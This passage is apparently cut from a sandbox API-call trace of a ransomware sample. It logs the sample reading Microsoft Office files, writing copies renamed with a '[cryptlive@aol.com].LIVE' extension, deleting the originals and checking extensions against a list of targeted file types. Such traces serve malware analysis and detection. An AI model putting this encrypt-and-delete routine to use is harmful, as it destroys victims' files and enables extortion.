(hObject=0x350) returned 1 [0143.240] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.240] SetEndOfFile (hFile=0x3b0) returned 1 [0143.242] CloseHandle (hObject=0x3b0) returned 1 [0143.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc")) returned 1 [0143.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0143.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0143.698] lstrlenW (lpString=".doc") returned 4 [0143.698] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0143.698] lstrlenW (lpString=".docx") returned 5 [0143.698] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0143.698] lstrlenW (lpString=".pdf") returned 4 [0143.698] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0143.698] lstrlenW (lpString=".xls") returned 4 [0143.698] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0143.698] lstrlenW (lpString=".xlsx") returned 5 [0143.698] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0143.698] lstrlenW (lpString=".ppt") returned 4 [0143.698] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0143.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0143.698] lstrlenW (lpString=".zip") returned 4 [0143.698] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0143.698] lstrlenW (lpString=".rar") returned 4 [0143.698] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0143.698] lstrlenW (lpString=".bz2") returned 4 [0143.698] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0143.698] lstrlenW (lpString=".7z") returned 3 [0143.698] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0143.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0143.698] lstrlenW (lpString=".dbf") returned 4 [0143.698] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0143.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0143.699] lstrlenW (lpString=".1cd") returned 4 [0143.699] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0143.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0143.699] lstrlenW (lpString=".jpg") returned 4 [0143.699] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0143.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0143.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0143.699] lstrlenW (lpString=".doc") returned 4 [0143.699] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0143.699] lstrlenW (lpString=".docx") returned 5 [0143.699] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0143.699] lstrlenW (lpString=".pdf") returned 4 [0143.699] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0143.699] lstrlenW (lpString=".xls") returned 4 [0143.699] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0143.699] lstrlenW (lpString=".xlsx") returned 5 [0143.699] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0143.699] lstrlenW (lpString=".ppt") returned 4 [0143.699] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0143.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0143.699] lstrlenW (lpString=".zip") returned 4 [0143.699] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0143.699] lstrlenW (lpString=".rar") returned 4 [0143.699] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0143.699] lstrlenW (lpString=".bz2") returned 4 [0143.699] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0143.699] lstrlenW (lpString=".7z") returned 3 [0143.699] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0143.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0143.699] lstrlenW (lpString=".dbf") returned 4 [0143.699] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0143.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0143.699] lstrlenW (lpString=".1cd") returned 4 [0143.699] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0143.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0143.699] lstrlenW (lpString=".jpg") returned 4 [0143.700] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0143.700] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0143.700] lstrlenW (lpString="NETWORK3.VRD") returned 12 [0143.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0143.718] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=3246) returned 1 [0143.718] CloseHandle (hObject=0x328) returned 1 [0143.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd")) returned 0x20 [0143.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0143.719] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.719] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0143.719] GetLastError () returned 0x0 [0143.719] ReadFile (in: hFile=0x328, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0xcae, lpOverlapped=0x0) returned 1 [0143.756] WriteFile (in: hFile=0x39c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xcb0, lpOverlapped=0x0) returned 1 [0143.757] ReadFile (in: hFile=0x328, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.757] WriteFile (in: hFile=0x39c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.757] SetEndOfFile (hFile=0x39c) returned 1 [0143.757] CloseHandle (hObject=0x39c) returned 1 [0143.757] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.757] SetEndOfFile (hFile=0x328) returned 1 [0143.766] CloseHandle (hObject=0x328) returned 1 [0143.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd")) returned 1 [0143.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0143.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0143.767] lstrlenW (lpString=".doc") returned 4 [0143.767] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0143.767] lstrlenW (lpString=".docx") returned 5 [0143.767] lstrcmpiW (lpString1=".docx", lpString2="3.VRD") returned -1 [0143.767] lstrlenW (lpString=".pdf") returned 4 [0143.767] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0143.767] lstrlenW (lpString=".xls") returned 4 [0143.767] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0143.767] lstrlenW (lpString=".xlsx") returned 5 [0143.767] lstrcmpiW (lpString1=".xlsx", lpString2="3.VRD") returned -1 [0143.767] lstrlenW (lpString=".ppt") returned 4 [0143.767] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0143.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0143.767] lstrlenW (lpString=".zip") returned 4 [0143.767] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0143.767] lstrlenW (lpString=".rar") returned 4 [0143.767] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0143.767] lstrlenW (lpString=".bz2") returned 4 [0143.767] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0143.767] lstrlenW (lpString=".7z") returned 3 [0143.767] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0143.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0143.767] lstrlenW (lpString=".dbf") returned 4 [0143.767] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0143.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0143.768] lstrlenW (lpString=".1cd") returned 4 [0143.768] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0143.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0143.768] lstrlenW (lpString=".jpg") returned 4 [0143.768] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0143.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0143.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0143.768] lstrlenW (lpString=".doc") returned 4 [0143.768] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0143.768] lstrlenW (lpString=".docx") returned 5 [0143.768] lstrcmpiW (lpString1=".docx", lpString2="3.VRD") returned -1 [0143.768] lstrlenW (lpString=".pdf") returned 4 [0143.768] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0143.768] lstrlenW (lpString=".xls") returned 4 [0143.768] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0143.768] lstrlenW (lpString=".xlsx") returned 5 [0143.768] lstrcmpiW (lpString1=".xlsx", lpString2="3.VRD") returned -1 [0143.768] lstrlenW (lpString=".ppt") returned 4 [0143.768] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0143.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0143.768] lstrlenW (lpString=".zip") returned 4 [0143.768] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0143.768] lstrlenW (lpString=".rar") returned 4 [0143.768] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0143.768] lstrlenW (lpString=".bz2") returned 4 [0143.768] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0143.768] lstrlenW (lpString=".7z") returned 3 [0143.768] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0143.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0143.768] lstrlenW (lpString=".dbf") returned 4 [0143.768] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0143.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0143.768] lstrlenW (lpString=".1cd") returned 4 [0143.768] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0143.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD") returned 60 [0143.768] lstrlenW (lpString=".jpg") returned 4 [0143.768] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0143.769] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0143.769] lstrlenW (lpString="OIS.HXS") returned 7 [0143.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0144.182] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=457988) returned 1 [0144.182] CloseHandle (hObject=0x3a4) returned 1 [0144.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs")) returned 0x20 [0144.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0144.183] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.183] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0144.184] GetLastError () returned 0x0 [0144.184] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x6fd04, lpOverlapped=0x0) returned 1 [0144.351] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x6fd10, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x6fd10, lpOverlapped=0x0) returned 1 [0144.359] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.359] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0144.359] SetEndOfFile (hFile=0x36c) returned 1 [0144.360] CloseHandle (hObject=0x36c) returned 1 [0144.360] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.360] SetEndOfFile (hFile=0x3a4) returned 1 [0144.370] CloseHandle (hObject=0x3a4) returned 1 [0144.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs")) returned 1 [0144.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0144.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0144.372] lstrlenW (lpString=".doc") returned 4 [0144.372] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0144.372] lstrlenW (lpString=".docx") returned 5 [0144.372] lstrcmpiW (lpString1=".docx", lpString2="S.HXS") returned -1 [0144.372] lstrlenW (lpString=".pdf") returned 4 [0144.372] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0144.372] lstrlenW (lpString=".xls") returned 4 [0144.372] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0144.372] lstrlenW (lpString=".xlsx") returned 5 [0144.372] lstrcmpiW (lpString1=".xlsx", lpString2="S.HXS") returned -1 [0144.372] lstrlenW (lpString=".ppt") returned 4 [0144.372] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0144.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0144.372] lstrlenW (lpString=".zip") returned 4 [0144.372] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0144.372] lstrlenW (lpString=".rar") returned 4 [0144.372] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0144.372] lstrlenW (lpString=".bz2") returned 4 [0144.372] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0144.372] lstrlenW (lpString=".7z") returned 3 [0144.372] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0144.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0144.372] lstrlenW (lpString=".dbf") returned 4 [0144.372] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0144.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0144.372] lstrlenW (lpString=".1cd") returned 4 [0144.372] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0144.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0144.372] lstrlenW (lpString=".jpg") returned 4 [0144.372] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0144.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0144.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0144.372] lstrlenW (lpString=".doc") returned 4 [0144.372] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0144.373] lstrlenW (lpString=".docx") returned 5 [0144.373] lstrcmpiW (lpString1=".docx", lpString2="S.HXS") returned -1 [0144.373] lstrlenW (lpString=".pdf") returned 4 [0144.373] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0144.373] lstrlenW (lpString=".xls") returned 4 [0144.373] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0144.373] lstrlenW (lpString=".xlsx") returned 5 [0144.373] lstrcmpiW (lpString1=".xlsx", lpString2="S.HXS") returned -1 [0144.373] lstrlenW (lpString=".ppt") returned 4 [0144.373] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0144.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0144.373] lstrlenW (lpString=".zip") returned 4 [0144.373] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0144.373] lstrlenW (lpString=".rar") returned 4 [0144.373] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0144.373] lstrlenW (lpString=".bz2") returned 4 [0144.373] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0144.373] lstrlenW (lpString=".7z") returned 3 [0144.373] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0144.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0144.373] lstrlenW (lpString=".dbf") returned 4 [0144.373] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0144.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0144.373] lstrlenW (lpString=".1cd") returned 4 [0144.373] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0144.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0144.373] lstrlenW (lpString=".jpg") returned 4 [0144.374] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0144.374] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0144.374] lstrlenW (lpString="ORGWIZ.VSL") returned 10 [0144.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0144.374] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=66992) returned 1 [0144.374] CloseHandle (hObject=0x3a4) returned 1 [0144.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl")) returned 0x20 [0144.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0144.375] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.375] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0144.376] GetLastError () returned 0x0 [0144.376] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x105b0, lpOverlapped=0x0) returned 1 [0144.546] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x105c0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x105c0, lpOverlapped=0x0) returned 1 [0144.548] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.548] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0144.548] SetEndOfFile (hFile=0x36c) returned 1 [0144.629] CloseHandle (hObject=0x36c) returned 1 [0144.696] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.696] SetEndOfFile (hFile=0x3a4) returned 1 [0144.699] CloseHandle (hObject=0x3a4) returned 1 [0144.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl")) returned 1 [0144.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0144.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0144.714] lstrlenW (lpString=".doc") returned 4 [0144.714] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0144.714] lstrlenW (lpString=".docx") returned 5 [0144.714] lstrcmpiW (lpString1=".docx", lpString2="Z.VSL") returned -1 [0144.714] lstrlenW (lpString=".pdf") returned 4 [0144.714] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0144.714] lstrlenW (lpString=".xls") returned 4 [0144.714] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0144.714] lstrlenW (lpString=".xlsx") returned 5 [0144.714] lstrcmpiW (lpString1=".xlsx", 